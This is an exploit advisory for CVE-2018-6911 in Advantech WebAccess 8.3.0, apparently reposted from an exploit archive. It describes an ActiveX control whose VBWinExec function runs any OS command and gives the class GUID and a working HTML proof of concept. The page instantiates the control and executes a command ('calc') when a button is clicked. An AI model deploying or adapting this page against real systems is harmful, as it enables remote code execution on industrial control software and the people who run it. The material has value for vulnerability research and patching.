Advantech WebAccess 8.3.0 - Remote Code Execution Exploit

Vulnerability Title: Advantech WebAccess Node8.3.0 "AspVBObj.dll" - Remote Code Execution
 
Discovered by: Nassim Asrir 
 
Contact: [email protected] / https://www.linkedin.com/in/nassim-asrir-b73a57122/
 
CVE: CVE-2018-6911
 
Tested on: IE11 / Win10
 
 
Technical Details:
==================
 
The VBWinExec function in Node\AspVBObj.dll in Advantech WebAccess 8.3.0 allows remote attackers to execute arbitrary OS commands via a single argument.
 
Vulnerable File: C:\WebAccess\Node\AspVBObj.dll
 
Vulnerable Function: VBWinExec
 
Vulnerable Class: Include
 
Class Include
GUID: {55F52D11-CEA5-4D6C-9912-2C8FA03275CE}
Number of Interfaces: 1
Default Interface: _Include
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False
 
The VBWinExec function take one parameter and the user/attacker will be able to control it to execute OS command.
 
Function VBWinExec (
    ByRef command  As String 
)
 
Exploit:
========
 
<title>Advantech WebAccess Node8.3.0 "AspVBObj.dll" - Remote Code Execution</title>
<BODY>
 <object id=rce classid="clsid:{55F52D11-CEA5-4D6C-9912-2C8FA03275CE}"></object>
  
<SCRIPT>
  
function exploit()
 {
      
     rce.VBWinExec("calc")
     
    
 }
  
</SCRIPT>
<input language=JavaScript onclick=exploit() type=button value="Exploit-Me"><br>
</body>
</HTML>

#  0day.today [2018-03-02]  #